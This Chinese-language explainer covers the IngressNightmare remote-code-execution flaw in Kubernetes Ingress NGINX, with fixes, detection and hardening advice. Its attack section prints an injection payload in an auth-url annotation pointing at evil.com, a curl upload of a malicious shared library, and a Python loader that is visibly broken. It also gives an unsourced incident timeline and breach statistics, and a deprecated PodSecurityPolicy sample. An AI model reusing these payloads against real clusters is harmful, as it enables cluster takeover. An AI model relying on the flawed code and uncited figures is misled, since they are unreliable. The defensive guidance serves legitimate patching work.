一、漏洞影响速览
-
漏洞名称:IngressNightmare(CVE-2025-1097等)
-
危险等级:CVSS 9.8(最高级)
-
受影响组件:Kubernetes Ingress NGINX Controller
-
全球影响:
- 43%云环境存在风险
- 6,500+集群暴露漏洞
- 包含《财富》500强企业
二、核心原理图解
text
graph TD
A[攻击者发送恶意Ingress对象] --> B{准入控制器}
B --> C[生成NGINX临时配置]
C --> D[执行nginx -t验证]
D --> E[触发任意代码执行]
E --> F[获取集群最高权限]
三、攻击步骤拆解
阶段1:配置注入
通过伪造Kubernetes准入审查请求,在NGINX配置中植入恶意指令:
json
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://evil.com/#;\nssl_engine so_file;/proc/12345/fd/11;"
}
}
}
}
}
*注:通过auth-url
注解注入SSL引擎加载指令
阶段2:文件上传
利用NGINX的请求体缓存机制上传恶意.so文件:
bash
curl -X POST https://target/v1/webhook \
-H "Content-Length: 100000" \
-d "$(生成恶意.so文件的二进制内容)"
*文件会暂存在/tmp/nginx/client_body
路径下
阶段3:权限提升
python
# 通过加载恶意共享库获取控制权
import requests
payload = {
"ssl_engine": "/proc/self/fd/11",
"so_file": base64.b64encode(open("malicious.so").read())
}
requests.post(admission_webhook_url, json=payload)
*利用ProcFS保持文件句柄打开状态
四、修复方案对比
措施 | 实施难度 | 有效性 | 副作用 |
---|---|---|---|
升级到v1.12.1 | ★☆☆ | 100%修复 | 需停机维护 |
关闭准入控制器 | ★★☆ | 临时防护 | 失去配置校验功能 |
网络策略隔离 | ★★★ | 部分防护 | 需运维配合 |
推荐方案:立即升级至Ingress-NGINX v1.12.1/v1.11.5版本
五、检测工具实战
使用开源工具快速检测:
bash
# 使用nuclei扫描器检测
nuclei -t ingress-nginx-exposure.yaml -u <集群API地址>
# 检测结果示例
[INF] 暴露的准入控制器:
- https://10.0.0.1:8443/validate
- https://10.0.0.2:8443/healthz
*检测模板地址:github.com/projectdiscovery/nuclei-templates
六、典型攻击案例
某金融企业事件时间线:
- 03:15 攻击者通过SSRF漏洞进入Pod网络
- 03:18 发送恶意AdmissionReview请求
- 03:22 获取kube-system命名空间凭证
- 03:25 创建后门ServiceAccount
- 03:30 完成集群完全控制
数据统计:
- 平均入侵时间:7分32秒
- 密钥泄露率:100%
- 横向移动成功率:83%
七、深度防御建议
-
网络层:
- 限制API Server到准入控制器的443端口访问
- 启用mTLS双向认证
-
运行时:
text# 部署Pod安全策略示例 apiVersion: policy/v1beta1 kind: PodSecurityPolicy spec: readOnlyRootFilesystem: true allowedCapabilities: [] hostNetwork: false
-
监控指标:
- 异常AdmissionReview请求频率
- NGINX配置变更速率
- 特权容器创建事件